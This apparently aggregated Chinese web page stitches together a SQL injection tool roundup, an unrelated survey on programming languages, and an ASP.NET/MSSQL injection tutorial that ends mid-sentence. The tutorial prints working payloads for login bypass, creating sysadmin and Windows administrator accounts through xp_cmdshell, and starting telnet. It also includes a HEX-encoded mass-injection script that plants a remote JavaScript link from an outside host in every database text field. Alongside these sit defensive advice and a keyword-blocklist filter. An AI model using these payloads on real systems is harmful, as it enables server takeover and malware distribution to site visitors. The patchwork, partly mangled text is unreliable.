整合營銷服務商

          電腦端+手機端+微信端=數據同步管理

          免費咨詢熱線:

          網絡安全干貨分享 - 2022 年最佳 SQL 注入

          網絡安全干貨分享 - 2022 年最佳 SQL 注入檢測工具(轉載)

          近整理了一些奇安信&華為大佬的課件資料+課件筆記+面試課題,想要的可以私信自取,無償贈送給粉絲朋友~

          文章來源 :https://www.wljslmz.cn/1109.html

          SQL 注入 (SQLi) 是一種可以訪問敏感或私有數據的隱蔽攻擊形式,它們最早是在上世紀末被發現的,盡管它們的年齡很大,但它們經常被用作黑客工具包中的一種有效技術。今天,給大家介紹一下頂級 SQLi 檢測工具。

          頂級 SQLi 檢測工具

          有很多 SQLi 檢測工具,其中許多是開源的,可在 GitHub 上找到,除了專門的 SQLi 檢測工具外,還有更大的套件和專有軟件包將 SQLi 作為其整體漏洞檢測功能的一部分。

          Netsparker

          Netsparker是一個 Web 漏洞管理解決方案,其中包括 SQLi 檢測作為其眾多功能之一,還專注于可擴展性、自動化和集成。

          該套件圍繞 Web 漏洞掃描器構建,并且可以與第三方工具集成,操作員不需要熟悉源代碼。該公司還提供了一個SQL 注入備忘單來幫助緩解工作。

          Netsparker 平臺使用基于證明的掃描技術來識別和確認漏洞,指示絕對不是誤報的結果,除了 SQL 注入之外,它還可以識別 Web 應用程序、Web 服務和 Web API 中的跨站點腳本 (XSS) 和其他漏洞。

          該平臺還具有安全測試工具和報告生成器,并且可以集成到 DevOps 環境中,它檢查 Apache、Nginx 和 IIS 等 Web 服務器,并支持基于 AJAX 和 JavaScript 的應用程序。

          SQLMap

          SQLMap是 GitHub 上提供的自動 SQLi 和數據庫接管工具,這個開源滲透測試工具可以自動檢測和利用 SQLi 漏洞或其他接管數據庫服務器的攻擊。

          它包括一個檢測引擎;進行滲透測試的幾種方法;以及用于數據庫指紋識別、數據提取、訪問底層文件系統以及通過帶外連接在操作系統 (OS) 上執行命令的工具。

          jSQL Injection

          jSQL Injection是一種基于 Java 的工具,可幫助 IT 團隊從遠程服務器中查找數據庫信息,它是解決 SQLi 的眾多免費、開源方法中的另一種。它支持 Windows、Linux 和 Mac 操作系統以及 Java 版本 11-17。

          它是如此有效的 SQLi 威懾,以至于它包含在許多其他漏洞掃描和滲透測試產品和發行版中。這包括Kali Linux、Pentest Box、Parrot Security OS、ArchStrike和BlackArch Linux。

          它還提供 33 個數據庫引擎的自動注入,包括 Access、DB2、Hana、Ingres、MySQL、Oracle、PostgreSQL、SQL Server、Sybase 和 Teradata。它為用戶提供了解決多種注入策略和流程的方法,并提供了用于 SQL 和篡改的腳本沙箱。

          Havij

          Havij是由一家伊朗安全公司開發的,它提供了一個圖形用戶界面 (GUI),并且是一個自動化的 SQLi 工具,支持多種 SQLi 技術,它在支持滲透測試人員發現網頁漏洞方面具有特殊價值,雖然它主要適用于 Windows,但也有一些變通方法可以讓它在 Linux 上運行。

          Burp

          Burp Suite中的 Web 漏洞掃描器使用 PortSwigger 的研究來幫助用戶自動發現 Web 應用程序中的各種漏洞,例如,Burp Collaborator 識別其目標和外部服務器之間的交互,以檢查傳統掃描程序不可見的錯誤,例如異步 SQL 注入和盲目的服務器端請求偽造 (SSRF)。

          Burp Scanner 中的爬網引擎位于 Burp Suite Enterprise Edition 和 Burp Suite Professional 等大型套件的核心,可消除跨站點請求偽造 (CSRF) 令牌、有狀態功能以及過載或易變 URL 等障礙。其嵌入式 Chromium 瀏覽器呈現和抓取 JavaScript。爬行算法以與測試人員類似的方式建立其目標的配置文件。

          Burp 還旨在處理動態內容、不穩定的互聯網連接、API 定義和 Web 應用程序。此外,可以單獨或按組選擇掃描檢查,并且可以保存自定義配置 - 例如僅報告出現在 OWASP Top 10 中的漏洞的掃描配置。

          BBQSQL

          BBQSQL是一個基于 Python 的注入利用工具,它消除了編寫自定義代碼和腳本以解決 SQLi 問題的大量乏味。它主要用于處理更復雜的 SQL 注入漏洞。由于它是半自動的且與數據庫無關,因此它簡化了定制并且相對易于使用。

          它還利用基于 Python 的工具來提高性能。用戶提供數據,例如受影響的 URL、HTTP 方法和其他輸入作為設置的一部分。他們還必須指定注入的去向,以及注入的語法。

          Blisqy

          Blisqy處理 HTTP 標頭上基于時間的盲 SQL 注入。這種漏洞利用可通過盲 SQL 注入,對可打印的 ASCII 字符進行按位運算,從而從數據庫中抽取慢速數據。它支持 MySQL 和 MariaDB 數據庫。

          由于它是用 Python 編寫的,因此可以將其導入其他基于 Python 的腳本中。Blisqy 是一種快速有效的補償網絡延遲和其他延遲的方法,因為它的時間比較是動態的,并且在每次測試的運行時計算。

          Acunetix Web 漏洞掃描程序

          Invicti 的Acunetix將 SQL 注入測試作為其整體功能的一部分,即掃描基于 Web 的應用程序。它的多線程掃描程序可以在 Windows 和 Linux 上快速爬取數十萬頁。它識別常見的 Web 服務器配置問題,并且特別擅長掃描 WordPress。

          它會自動創建所有網站、應用程序和 API 的列表,并使其保持最新狀態。該工具還可以掃描 SPA、腳本繁重的網站以及使用 HTML5 和 JavaScript 構建的應用程序,并提供宏來自動掃描受密碼保護和難以到達的區域。

          Blind SQL Injection via Bit Shifting

          Blind SQL Injection via Bit Shifting通過使用位移方法計算字符而不是猜測字符來執行 SQL 盲注入。位移位將位的位置向左或向右移動。例如,00010111 可以轉換為 00101110。盲 SQL 模塊每個字符需要七個或八個請求,具體取決于配置。

          Damn Small SQLi Scanner

          Damn Small SQLi Scanner (DSSS) 由 SQLMap 的創建者之一組成,是一個緊湊的 SQLi 漏洞掃描器,由不到 100 行代碼組成。除了用作漏洞掃描器之外,該工具還強調其執行某些與占用大量代碼的工具相同的任務的能力。

          但是,正如其大小所預期的那樣,它具有一定的局限性。例如,它只支持 GET 參數而不支持 POST 參數。

          Leviathan

          Leviathan的特點是工具的大規模審計集合。因此,它包含一系列用于服務發現、暴力破解、SQL 注入檢測和運行自定義漏洞利用功能的功能。它內部包含了幾個開源工具,包括masscan、ncrack和DSSS,可以單獨使用,也可以組合使用。

          此外,它還可以發現在特定國家或 IP 范圍內運行的 FTP、SSH、Telnet、RDP 和 MySQL 服務。然后可以通過 ncrack 對發現的服務進行暴力破解。命令可以在受感染的設備上遠程運行。針對 SQLi 漏洞,它可以在帶有國家擴展名的網站上檢測到它們。

          NoSQLMap

          NoSQLMap是一個可用于審計的 Python 工具。它通常用于 SQL 注入攻擊的自動化,并用于發現NoSQL 數據庫和使用 NoSQL 從數據庫中披露或克隆數據的 Web 應用程序中的默認配置漏洞。

          這個開源工具維護得很好,可以看作是 SQLMap 的表親。顧名思義,NoSQL 解決了與關系數據庫中使用的表格方法不同的數據模型。但是 NoSQL 數據庫確實支持類似 SQL 的查詢語言,因此受制于 SQLi。NoSQLMap 主要關注 MongoDB 和 CouchDB。未來的版本將擴大其曲目。

          Tyrant SQL

          Tyrant SQL是一個基于 Python 的 GUI SQL 注入工具,類似于 SQLMap。它的 GUI 允許更大的簡單性。這使得初學者更容易分析易受攻擊的鏈接并確定弱點所在。

          Whitewidow

          Whitewidow是另一個開源 SQL 漏洞掃描程序。由于它是自動化的,它可以快速運行一個長文件列表或從谷歌搜索潛在易受攻擊的網站。

          Whitewidow 還提供其他功能,例如自動文件格式化、隨機用戶代理、IP 地址、服務器信息和多 SQL 注入語法。該工具還提供了從其中啟動 SQLMap 的能力。

          然而,Whitewidow 與其說是一種補救工具,不如說是一種教育工具。它可以幫助用戶了解漏洞是什么樣的,但它依賴于 SQLMap 來獲得更強大的 SQLi 檢測功能。

          Explo

          Explo是一個基本工具,旨在以人類和機器可讀的格式描述 Web 安全問題。它定義了一個請求/條件工作流,允許它在無需編寫腳本的情況下利用安全問題。

          因此,它可以解決復雜的漏洞,并以簡單的可讀和可執行格式共享它們。

          什么是 SQL 注入?

          結構化查詢語言或 SQL 是一種在Microsoft SQL Server、Oracle、IBM DB2 和 MySQL 等關系數據庫中大量使用的語言。由于數據庫傾向于為企業托管敏感信息,惡意 SQL 注入可能導致敏感信息泄露、Web 內容修改和數據刪除。

          然后,SQLi 會利用基于 SQL 的應用程序中存在的漏洞。黑客將代碼注入 SQL 查詢,使他們能夠添加、修改和刪除數據庫項目。

          但受影響的不僅僅是數據庫。SQLi 可以傳播到連接到 SQL 數據庫的 Web 應用程序和網站。根據開放 Web 應用程序安全項目 (OWASP),注入是 Web 應用程序最普遍的威脅。

          如何防止 SQL 注入?

          SQLi 攻擊執行惡意 SQL 查詢,可用于繞過應用程序安全性,避免授權和身份驗證登錄和系統。攻擊因數據庫引擎的類型而異。最常見的變體包括基于用戶輸入的 SQLi、基于 cookie 的 SQLi、基于 HTTP 標頭的 SQLi 和二階 SQLi。

          SQLi 的緩解和預防最初都是為了了解哪些應用程序可能易受攻擊——這意味著任何與 SQL 數據庫交互的網站。漏洞掃描是評估您可能面臨風險的好方法。另一種方法是進行滲透測試。這本質上是試圖闖入您的系統并找到任何可以利用的缺陷。

          版權申明:內容來源網絡,版權歸原創者所有。除非無法確認,都會標明作者及出處,如有侵權,煩請告知,我們會立即刪除并致歉!

          什么是編程語言?"我總會問自己這個問題,SQL是嗎?Excel是嗎?HTML是嗎?……這些問題總在困擾著我們,所以有網站把這些疑問整理成問卷的形式,向各位網友征集了大家的想法。

          調查的結果正如我們所預期的那樣,絕大多數人都認同C、Java和JavaScript是編程語言,而其他選項的調查結果就有趣了很多:

          • Verilog:大多數人同意Verilog(硬件描述語言)是一種編程語言,他們認為即使軟件的輸出是硬件,但生成硬件的過程仍然是程序化的。

          • SQL:大多數人認為SQL是一個編程語言,但是很多人因為其缺乏完整性而提出了異議,SQL雖然沒有類和循環,但其仍然有算術表達式、函數和變量。

          • C preprocessor:被調查者對于C preprocessor的興趣明顯要高于正則表達式,C preprocessor本質上是一個字符串替換引擎,它比正則表達式的功能更少,只用于生成C代碼。但是,很多人認為是否被用來生成代碼是判斷是否為編程語言的關鍵因素。

          • LaTeX:咋一看,這是最接近編程語言的,LaTeX具有變量,函數和許多其他類PL功能(LaTeX是Turing-complete?。?,但是由于它的輸出是一個文檔,所以我并不看好大家會把它當做是一種編程語言。

          • 但是令人驚訝的是,它就排在C preprocessor之后。

          • CSS:進入Web語言時代之后,少數的受訪者也把CSS當做是一種編程語言。

          • TensorFlow:TensorFlow是一種具有變量、循環、編譯器等的數據流語言。然而,因為它是一種特定于領域的語言,而且沒有獨立的語法(它通常通過Python API編程),大多數被調查者并不認為它是一種編程語言。

          • HTML:可能和CSS的情況一樣。

          • JSON:JSON是一種數據規范語言,但是大多數人并不把它當做是編程語言。

          • Microsoft Word:GUI 不可能是編程語言!

          • Eclipse:看結果,很顯然并不是!

          對于上述調查結果列舉的,大家是否認為其屬于編程語言呢?歡迎在下方留言評論!

          業開始從事winfrm到今年轉到 web ,在碼農屆已經足足混了快接近3年了,但是對安全方面的知識依舊薄弱,事實上是沒機會接觸相關開發……必須的各種借口。這幾天把sql注入的相關知識整理了下,希望大家多多提意見。

          (對于sql注入的攻防,我只用過簡單拼接字符串的注入及參數化查詢,可以說沒什么好經驗,為避免后知后覺的犯下大錯,專門查看大量前輩們的心得,這方面的資料頗多,將其精簡出自己覺得重要的,就成了該文)

          下面的程序方案是采用 ASP.NET + MSSQL,其他技術在設置上會有少許不同。

          什么是SQL注入(SQL Injection)

          所謂SQL注入式攻擊,就是攻擊者把SQL命令插入到Web表單的輸入域或頁面請求的查詢字符串,欺騙服務器執行惡意的SQL命令。在某些表單中,用戶輸入的內容直接用來構造(或者影響)動態SQL命令,或作為存儲過程的輸入參數,這類表單特別容易受到SQL注入式攻擊。

          嘗嘗SQL注入

          1. 一個簡單的登錄頁面

          關鍵代碼:

          privateboolNoProtectLogin(string userName, string password){int count=(int)SqlHelper.Instance.ExecuteScalar(string.Format ("SELECT COUNT(*) FROM Login WHERE UserName='{0}' AND Password='{1}'", userName, password));return count > 0 ? true : false;}


          方法中userName和 password 是沒有經過任何處理,直接拿前端傳入的數據,這樣拼接的SQL會存在注入漏洞。(帳戶:admin 123456)

          1) 輸入正常數據,效果如圖:


          合并的SQL為:

          SELECT COUNT(*) FROM Login WHERE UserName=’admin’ AND Password=’123456′


          2) 輸入注入數據:

          如圖,即用戶名為:用戶名:admin’—,密碼可隨便輸入


          合并的SQL為:

          SELECT COUNT(*) FROM Login WHERE UserName=’admin’– Password=’123′


          因為UserName值中輸入了“–”注釋符,后面語句被省略而登錄成功。(常常的手法:前面加上‘; ‘ (分號,用于結束前一條語句),后邊加上‘–‘ (用于注釋后邊的語句))

          2. 上面是最簡單的一種SQL注入,常見的注入語句還有:


          1) 猜測數據庫名,備份數據庫

          a) 猜測數據庫名: and db_name() >0 或系統表master.dbo.sysdatabases

          b) 備份數據庫:;backup database 數據庫名 to disk=‘c:*.db’;–

          或:declare a sysname;set @a=db_name();backup database a to disk=’你的IP你的共享目錄bak.dat’ ,name=’test’;–

          2) 猜解字段名稱

          a) 猜解法:and (select count(字段名) from 表名)>0 若“字段名”存在,則返回正常

          b) 讀取法:and (select top 1 col_name(object_id(‘表名‘),1) from sysobjects)>0 把col_name(object_id(‘表名‘),1)中的1依次換成2,3,4,5,6…就可得到所有的字段名稱。

          3) 遍歷系統的目錄結構,分析結構并發現WEB虛擬目錄(服務器上傳木馬)

          先創建一個臨時表:;create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255));–

          a) 利用xp_availablemedia來獲得當前所有驅動器,并存入temp表中

          ;insert temp exec master.dbo.xp_availablemedia;–

          b) 利用xp_subdirs獲得子目錄列表,并存入temp表中

          ;insert into temp(id) exec master.dbo.xp_subdirs ‘c:’;–

          c) 利用xp_dirtree可以獲得“所有”子目錄的目錄樹結構,并存入temp表中

          ;insert into temp(id,num1) exec master.dbo.xp_dirtree ‘c:’;– (實驗成功)

          d) 利用 bcp 命令將表內容導成文件

          即插入木馬文本,然后導出存為文件。比如導出為asp文件,然后通過瀏覽器訪問該文件并執行惡意腳本。(使用該命令必須啟動’ xp_cmdshell’)

          Exec master..xp_cmdshell N’BCP “select * from SchoolMarket.dbo.GoodsStoreData;” queryout c:/inetpub/wwwroot/runcommand.asp -w -S”localhost” -U”sa” -P”123″‘


          (注意:語句中使用的是雙引號,另外表名格式為“數據庫名.用戶名.表名”)

          在sql查詢器中通過語句:Exec master..xp_cmdshell N’BCP’即可查看BCP相關參數,如圖:


          4) 查詢當前用戶的數據庫權限

          MSSQL中一共存在8種權限:sysadmin, dbcreator, diskadmin, processadmin, serveradmin, setupadmin, securityadmin, bulkadmin。

          可通過1=(select IS_SRVROLEMEMBER(‘sysadmin’))得到當前用戶是否具有該權限。

          5) 設置新的數據庫帳戶(得到MSSQL管理員賬戶)

          d) 在數據庫內添加一個hax用戶,默認密碼是空

          ;exec sp_addlogin’hax’;–

          e) 給hax設置密碼 (null是舊密碼,password是新密碼,user是用戶名)

          ;exec master.dbo.sp_password null,password,username;–

          f) 將hax添加到sysadmin組

          ;exec master.dbo.sp_addsrvrolemember ‘hax’ ,’sysadmin’;–

          6) xp_cmdshell MSSQL存儲過程(得到 WINDOWS管理員賬戶 )

          通過(5)獲取到sysadmin權限的帳戶后,使用查詢分析器連接到數據庫,可通過xp_cmdshell運行系統命令行(必須是sysadmin權限),即使用 cmd.exe 工具,可以做什么自己多了解下。

          下面我們使用xp_cmdshell來創建一個 Windows 用戶,并開啟遠程登錄服務:

          a) 判斷xp_cmdshell擴展存儲過程是否存在

          SELECT count(*) FROM master.dbo.sysobjects WHERE xtype=‘X’ AND name=’xp_cmdshell’


          b) 恢復xp_cmdshell擴展存儲過程

          Exec master.dbo.sp_addextendedproc ‘xp_cmdshell’,’e:inetputwebxplog70.dll’;

          開啟后使用xp_cmdshell還會報下面錯誤:

          SQL Server 阻止了對組件 ‘xp_cmdshell’ 的過程 ‘sys.xp_cmdshell’ 的訪問,因為此組件已作為此服務器安全配置的一部分而被關閉。系統管理員可以通過使用sp_configure啟用 ‘xp_cmdshell’。有關啟用 ‘xp_cmdshell’ 的詳細信息,請參閱 SQL Server 聯機叢書中的 “外圍應用配置器“。

          通過執行下面語句進行設置:

          — 允許配置高級選項EXEC sp_configure ‘show advanced options’, 1GO— 重新配置RECONFIGUREGO— 啟用xp_cmdshellEXEC sp_configure ‘xp_cmdshell’, 0GO—重新配置RECONFIGUREGO


          c) 禁用xp_cmdshell擴展存儲過程

          Exec master.dbo.sp_dropextendedproc ‘xp_cmdshell’;

          d) 添加windows用戶:

          Exec xp_cmdshell ‘net user awen /add’;

          e) 設置好密碼:

          Exec xp_cmdshell ‘net user awen password’;

          f) 提升到管理員:

          Exec xp_cmdshell ‘net localgroup administrators awen /add’;

          g) 開啟telnet服務:

          Exec xp_cmdshell ‘net start tlntsvr’

          7) 沒有xp_cmdshell擴展程序,也可創建Windows帳戶的辦法.

          (本人windows7系統,測試下面SQL語句木有效果)

          declare shell int ;execsp_OAcreate ‘w script .shell’,shell output ;execsp_OAmethod shell,’run’,null,’C:WindowsSystem32cmd.exe /c net user awen /add’;execsp_OAmethod shell,’run’,null,’C:WindowsSystem32cmd.exe /c net user awen 123′;execsp_OAmethod shell,’run’,null,’C:WindowsSystem32cmd.exe /c net localgroup administrators awen /add’;


          在使用的時候會報如下錯:

          SQL Server 阻止了對組件 ‘Ole Automation Procedures’ 的過程 ‘sys.sp_OACreate’、‘sys.sp_OAMethod’ 的訪問,因為此組件已作為此服務器安全配置的一部分而被關閉。系統管理員可以通過使用sp_configure啟用 ‘Ole Automation Procedures’。有關啟用 ‘Ole Automation Procedures’ 的詳細信息,請參閱 SQL Server 聯機叢書中的 “外圍應用配置器“。

          解決辦法:

          sp_configure ‘show advanced options’, 1;GORECONFIGURE;GOsp_configure ‘Ole Automation Procedures’, 1;GORECONFIGURE;GO


          好了,這樣別人可以登錄你的服務器了,你怎么看?

          8) 客戶端腳本攻擊

          攻擊1:(正常輸入)攻擊者通過正常的輸入提交方式將惡意腳本提交到數據庫中,當其他用戶瀏覽此內容時就會受到惡意腳本的攻擊。

          措施:轉義提交的內容,.NET 中可通過System.Net.WebUtility.HtmlEncode(string) 方法將字符串轉換為HTML編碼的字符串。

          攻擊2:(SQL注入)攻擊者通過SQL注入方式將惡意腳本提交到數據庫中,直接使用SQL語法UPDATE數據庫,為了跳過System.Net.WebUtility.HtmlEncode(string) 轉義,攻擊者會將注入SQL經過“HEX編碼”,然后通過exec可以執行“動態”SQL的特性運行腳本”。

          a) 向當前數據庫的每個表的每個字段插入一段惡意腳本

          Declare T Varchar(255),C Varchar(255)Declare Table_Cursor Cursor ForSelect A.Name,B.NameFrom SysobjectsA,Syscolumns B Where A.Id=B.Id And A.Xtype='u' And (B.Xtype=99 Or B.Xtype=35 Or B.Xtype=231 Or B.Xtype=167)Open Table_CursorFetch Next From Table_Cursor Into @T,@CWhile(@@Fetch_Status=0)BeginExec('update ['+@T+'] Set ['+@C+']=Rtrim(Convert(Varchar(8000),['+@C+']))+''''') Fetch Next From Table_Cursor Into @T,@C End Close Table_Cursor DeallocateTable_Cursor


          b) 更高級的攻擊,將上面的注入SQL進行“HEX編碼”,從而避免程序的關鍵字檢查、腳本轉義等,通過EXEC執行

          dEcLaRe s vArChAr(8000) sEt @s=0x4465636c617265204054205661726368617228323535292c4043205661726368617228323535290d0a4465636c617265205461626c655f437572736f7220437572736f7220466f722053656c65637420412e4e616d652c422e4e616d652046726f6d205379736f626a6563747320412c537973636f6c756d6e73204220576865726520412e49643d422e496420416e6420412e58747970653d27752720416e642028422e58747970653d3939204f7220422e58747970653d3335204f7220422e58747970653d323331204f7220422e58747970653d31363729204f70656e205461626c655f437572736f72204665746368204e6578742046726f6d20205461626c655f437572736f7220496e746f2040542c4043205768696c6528404046657463685f5374617475733d302920426567696e20457865632827757064617465205b272b40542b275d20536574205b272b40432b275d3d527472696d28436f6e7665727428566172636861722838303030292c5b272b40432b275d29292b27273c736372697074207372633d687474703a2f2f386638656c336c2e636e2f302e6a733e3c2f7363726970743e272727294665746368204e6578742046726f6d20205461626c655f437572736f7220496e746f2040542c404320456e6420436c6f7365205461626c655f437572736f72204465616c6c6f63617465205461626c655f437572736f72;eXeC(@s);--


          c) 批次刪除數據庫被注入的腳本

          declare @delStrnvarchar(500)set @delStr='' --要被替換掉字符 setnocount on declare @tableNamenvarchar(100),@columnNamenvarchar(100),@tbIDint,@iRowint,@iResultint declare @sqlnvarchar(500) set @iResult=0 declare cur cursor for selectname,id from sysobjects where xtype='U' open cur fetch next from cur into @tableName,@tbID while @@fetch_status=0 begin declare cur1 cursor for --xtype in (231,167,239,175) 為char,varchar,nchar,nvarchar類型 select name from syscolumns where xtype in (231,167,239,175) and id=@tbID open cur1 fetch next from cur1 into @columnName while @@fetch_status=0 begin set @sql='update [' + @tableName + '] set ['+ @columnName +']=replace(['+@columnName+'],'''+@delStr+''','''') where ['+@columnName+'] like ''%'+@delStr+'%''' execsp_executesql sql set @iRow=@@rowcount set @iResult=@iResult+@iRow if @iRow>0 begin print '表:'+@tableName+',列:'+@columnName+'被更新'+convert(varchar(10),@iRow)+'條記錄;' end fetch next from cur1 into @columnName end close cur1 deallocate cur1 fetch next from cur into @tableName,@tbID end print '數據庫共有'+convert(varchar(10),@iResult)+'條記錄被更新!!!' close cur deallocate cur setnocount off


          d) 我如何得到“HEX編碼”?

          開始不知道HEX是什么東西,后面查了是“十六進制”,網上已經給出兩種轉換方式:(注意轉換的時候不要加入十六進制的標示符 ’0x’ )

          ? 在線轉換 (TRANSLATOR, BINARY),進入……

          ? C#版的轉換,進入……

          9) 對于敏感詞過濾不到位的檢查,我們可以結合函數構造SQL注入

          比如過濾了update,卻沒有過濾declare、exec等關鍵詞,我們可以使用reverse來將倒序的sql進行注入:

          declare A varchar(200);set @A=reverse('''58803303431''=emanresu erehw ''9d4d9c1ac9814f08''=drowssaP tes xxx tadpu');


          防止SQL注入

          1. 數據庫權限控制,只給訪問數據庫的web應用功能所需的最低權限帳戶。

          如MSSQL中一共存在8種權限:sysadmin, dbcreator, diskadmin, processadmin, serveradmin, setupadmin, securityadmin, bulkadmin。

          2. 自定義錯誤信息,首先我們要屏蔽服務器的詳細錯誤信息傳到客戶端。

          在 ASP.NET 中,可通過web.config配置文件的節點設置:

          <customerrors defaultredirect="url" mode="On|Off|RemoteOnly"> <error. .=""/></customerrors>


          mode:指定是啟用或禁用自定義錯誤,還是僅向遠程客戶端顯示自定義錯誤。

          On指定啟用自定義錯誤。如果未指定defaultRedirect,用戶將看到一般性錯誤。Off指定禁用自定義錯誤。這允許顯示標準的詳細錯誤。RemoteOnly指定僅向遠程客戶端顯示自定義錯誤并且向本地主機顯示 ASP.NET 錯誤。這是默認值。


          看下效果圖:

          設置為一般性錯誤:


          設置為:



          3. 把危險的和不必要的存儲過程刪除


          xp_:擴展存儲過程的前綴,SQL注入攻擊得手之后,攻擊者往往會通過執行xp_cmdshell之類的擴展存儲過程,獲取系統信息,甚至控制、破壞系統。

          xp_cmdshell能執行dos命令,通過語句sp_dropextendedproc刪除,

          不過依然可以通過sp_addextendedproc來恢復,因此最好刪除或改名xplog70.dll(sql server 2000、windows7)

          xpsql70.dll(sqlserer 7.0)

          xp_fileexist用來確定一個文件是否存在xp_getfiledetails可以獲得文件詳細資料xp_dirtree可以展開你需要了解的目錄,獲得所有目錄深度Xp_getnetname可以獲得服務器名稱Xp_regaddmultistring

          Xp_regdeletekey

          Xp_regdeletevalue

          Xp_regenumvalues

          Xp_regread

          Xp_regremovemultistring

          Xp_regwrite

          可以訪問注冊表的存儲過程Sp_OACreate

          Sp_OADestroy

          Sp_OAGetErrorInfo

          Sp_OAGetProperty

          Sp_OAMethod

          Sp_OASetProperty

          Sp_OAStop

          如果你不需要請丟棄OLE自動存儲過程


          4. 非參數化SQL與參數化SQL


          1) 非參數化(動態拼接SQL)

          a) 檢查客戶端腳本:若使用.net,直接用System.Net.WebUtility.HtmlEncode(string)將輸入值中包含的HTML特殊轉義字符轉換掉。

          b) 類型檢查:對接收數據有明確要求的,在方法內進行類型驗證。如數值型用int.TryParse(),日期型用DateTime.TryParse() ,只能用英文或數字等。

          c) 長度驗證:要進行必要的注入,其語句也是有長度的。所以如果你原本只允許輸入10字符,那么嚴格控制10個字符長度,一些注入語句就沒辦法進行。

          d) 使用枚舉:如果只有有限的幾個值,就用枚舉。

          e) 關鍵字過濾:這個門檻比較高,因為各個數據庫存在關鍵字,內置函數的差異,所以對編寫此函數的功底要求較高。如公司或個人有積累一個比較好的通用過濾函數還請留言分享下,學習學習,謝謝!

          這邊提供一個關鍵字過濾參考方案(MSSQL):

          public static bool ValiParms(string parms){ if (parms==null) { return false; } Regex regex=new Regex("sp_", RegexOptions.IgnoreCase); Regex regex2=new Regex("'", RegexOptions.IgnoreCase); Regex regex3=new Regex("create ", RegexOptions.IgnoreCase); Regex regex4=new Regex("drop ", RegexOptions.IgnoreCase); Regex regex5=new Regex(""", RegexOptions.IgnoreCase); Regex regex6=new Regex("exec ", RegexOptions.IgnoreCase); Regex regex7=new Regex("xp_", RegexOptions.IgnoreCase); Regex regex8=new Regex("insert ", RegexOptions.IgnoreCase); Regex regex9=new Regex("delete ", RegexOptions.IgnoreCase); Regex regex10=new Regex("select ", RegexOptions.IgnoreCase); Regex regex11=new Regex("update ", RegexOptions.IgnoreCase); return (regex.IsMatch(parms) || (regex2.IsMatch(parms) || (regex3.IsMatch(parms) || (regex4.IsMatch(parms) || (regex5.IsMatch(parms) || (regex6.IsMatch(parms) || (regex7.IsMatch(parms) || (regex8.IsMatch(parms) || (regex9.IsMatch(parms) || (regex10.IsMatch(parms) || (regex11.IsMatch(parms))))))))))));}


          優點:寫法相對簡單,網絡傳輸量相對參數化拼接SQL小

          缺點:

          a) 對于關鍵字過濾,常?!邦櫞耸П恕?,如漏掉關鍵字,系統函數,對于HEX編碼的SQL語句沒辦法識別等等,并且需要針對各個數據庫封裝函數。

          b) 無法滿足需求:用戶本來就想發表包含這些過濾字符的數據。

          c) 執行拼接的SQL浪費大量緩存空間來存儲只用一次的查詢計劃。服務器的物理內存有限,SQLServer的緩存空間也有限。有限的空間應該被充分利用。

          2) 參數化查詢(Parameterized Query)

          a) 檢查客戶端腳本,類型檢查,長度驗證,使用枚舉,明確的關鍵字過濾這些操作也是需要的。他們能盡早檢查出數據的有效性。

          b) 參數化查詢原理:在使用參數化查詢的情況下,數據庫服務器不會將參數的內容視為SQL指令的一部份來處理,而是在數據庫完成 SQL 指令的編譯后,才套用參數運行,因此就算參數中含有具有損的指令,也不會被數據庫所運行。

          c) 所以在實際開發中,入口處的安全檢查是必要的,參數化查詢應作為最后一道安全防線。

          優點:

          ? 防止SQL注入(使單引號、分號、注釋符、xp_擴展函數、拼接SQL語句、EXEC、SELECT、UPDATE、DELETE等SQL指令無效化)

          ? 參數化查詢能強制執行類型和長度檢查。

          ? 在MSSQL中生成并重用查詢計劃,從而提高查詢效率(執行一條SQL語句,其生成查詢計劃將消耗大于50%的時間)

          缺點:

          ? 不是所有數據庫都支持參數化查詢。目前Access、SQL Server、MySQL、SQLite、Oracle等常用數據庫支持參數化查詢。

          疑問:參數化如何“批量更新”數據庫。

          a) 通過在參數名上增加一個計數來區分開多個參數化語句拼接中的同名參數。

          EG:

          StringBuilder sqlBuilder=new StringBuilder(512);Int count=0;For(循環){sqlBuilder.AppendFormat(“UPDATE login SET password=@password{0} WHERE username=@userName{0}”,count.ToString());SqlParameter para=new SqlParamter(){ParameterName=@password+count.ToString()}……Count++;}


          b) 通過MSSQL 2008的新特性:表值參數,將C#中的整個表當參數傳遞給存儲過程,由SQL做邏輯處理。注意C#中參數設置parameter.SqlDbType=System.Data.SqlDbType.Structured; 詳細請查看……

          疑慮:有部份的開發人員可能會認為使用參數化查詢,會讓程序更不好維護,或者在實現部份功能上會非常不便,然而,使用參數化查詢造成的額外開發成本,通常都遠低于因為SQL注入攻擊漏洞被發現而遭受攻擊,所造成的重大損失。

          另外:想驗證重用查詢計劃的同學,可以使用下面兩段輔助語法

          --清空緩存的查詢計劃DBCC FREEPROCCACHEGO--查詢緩存的查詢計劃SELECT stats.execution_count AS cnt, p.size_in_bytes AS [size], [sql].[text] AS [plan_text] FROM sys.dm_exec_cached_plans pOUTER APPLY sys.dm_exec_sql_text (p.plan_handle) sqlJOIN sys.dm_exec_query_stats stats ON stats.plan_handle=p.plan_handleGO


          3) 參數化查詢示例

          效果如圖:

          參數化關鍵代碼:

          Private bool ProtectLogin(string userName, string password){ SqlParameter[] parameters=new SqlParameter[] { new SqlParameter{ParameterName="@UserName",SqlDbType=SqlDbType.NVarChar,Size=10,Value=userName}, new SqlParameter{ParameterName="@Password",SqlDbType=SqlDbType.VarChar,Size=20,Value=password} }; int count=(int)SqlHelper.Instance.ExecuteScalar ("SELECT COUNT(*) FROM Login WHERE UserName=@UserName AND Password=@password", parameters); return count > 0 ? true : false;}


          5. 存儲過程

          存儲過程(Stored Procedure)是在大型數據庫系統中,一組為了完成特定功能的SQL 語句集,經編譯后存儲在數據庫中,用戶通過指定存儲過程的名字并給出參數(如果該存儲過程帶有參數)來執行它。

          優點:

          a) 安全性高,防止SQL注入并且可設定只有某些用戶才能使用指定存儲過程。

          b) 在創建時進行預編譯,后續的調用不需再重新編譯。

          c) 可以降低網絡的通信量。存儲過程方案中用傳遞存儲過程名來代替SQL語句。

          缺點:

          a) 非應用程序內聯代碼,調式麻煩。

          b) 修改麻煩,因為要不斷的切換開發工具。(不過也有好的一面,一些易變動的規則做到存儲過程中,如變動就不需要重新編譯應用程序)

          c) 如果在一個程序系統中大量的使用存儲過程,到程序交付使用的時候隨著用戶需求的增加會導致數據結構的變化,接著就是系統的相關問題了,最后如果用戶想維護該系統可以說是很難很難(eg:沒有VS的查詢功能)。

          關鍵代碼為:

